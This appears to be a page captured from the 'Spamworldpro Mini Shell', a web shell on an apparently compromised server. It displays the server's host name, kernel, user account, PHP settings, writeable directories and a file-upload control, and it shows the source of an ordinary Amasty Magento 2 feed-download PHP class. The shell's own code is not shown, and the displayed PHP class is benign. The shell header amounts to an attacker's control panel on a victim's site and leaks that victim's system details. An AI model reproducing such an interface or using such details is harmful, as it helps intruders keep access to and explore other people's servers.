Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/amasty/feed/Model/Feed/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/amasty/feed/Model/Feed/Downloader.php
<?php
/**
 * @author Amasty Team
 * @copyright Copyright (c) Amasty (https://www.amasty.com)
 * @package Product Feed for Magento 2
 */

namespace Amasty\Feed\Model\Feed;

class Downloader
{
    /**
     * @var \Magento\Framework\Controller\Result\RawFactory
     */
    private $rawResultFactory;

    /**
     * @var string
     */
    private $filename = null;

    /**
     * @var \Amasty\Feed\Model\Filesystem\FeedOutput
     */
    private $feedOutput;

    public function __construct(
        \Magento\Framework\Controller\Result\RawFactory $rawResultFactory,
        \Amasty\Feed\Model\Filesystem\FeedOutput $feedOutput
    ) {
        $this->rawResultFactory = $rawResultFactory;
        $this->feedOutput = $feedOutput;
    }

    /**
     * @param \Amasty\Feed\Api\Data\FeedInterface $feed
     *
     * @return \Magento\Framework\Controller\Result\Raw
     */
    public function getResponse(\Amasty\Feed\Api\Data\FeedInterface $feed)
    {
        $rawResult = $this->rawResultFactory->create();
        $output = $this->feedOutput->get($feed);
        $filename = $this->filename ?: $output['filename'];
        $rawResult->setHttpResponseCode(200)
            ->setHeader('Pragma', 'public', true)
            ->setHeader('Cache-Control', 'must-revalidate, post-check=0, pre-check=0', true)
            ->setHeader('Content-type', 'application/octet-stream', true)
            ->setHeader('Content-Length', strlen($output['content']), true)
            ->setHeader('Content-Disposition', 'attachment; filename="' . $filename . '"', true)
            ->setHeader('Last-Modified', date('r', $output['mtime']), true)
            ->setContents($output['content']);

        return $rawResult;
    }

    /**
     * @param string $filename
     */
    public function setFilename($filename)
    {
        $this->filename = $filename;
    }
}

Spamworldpro Mini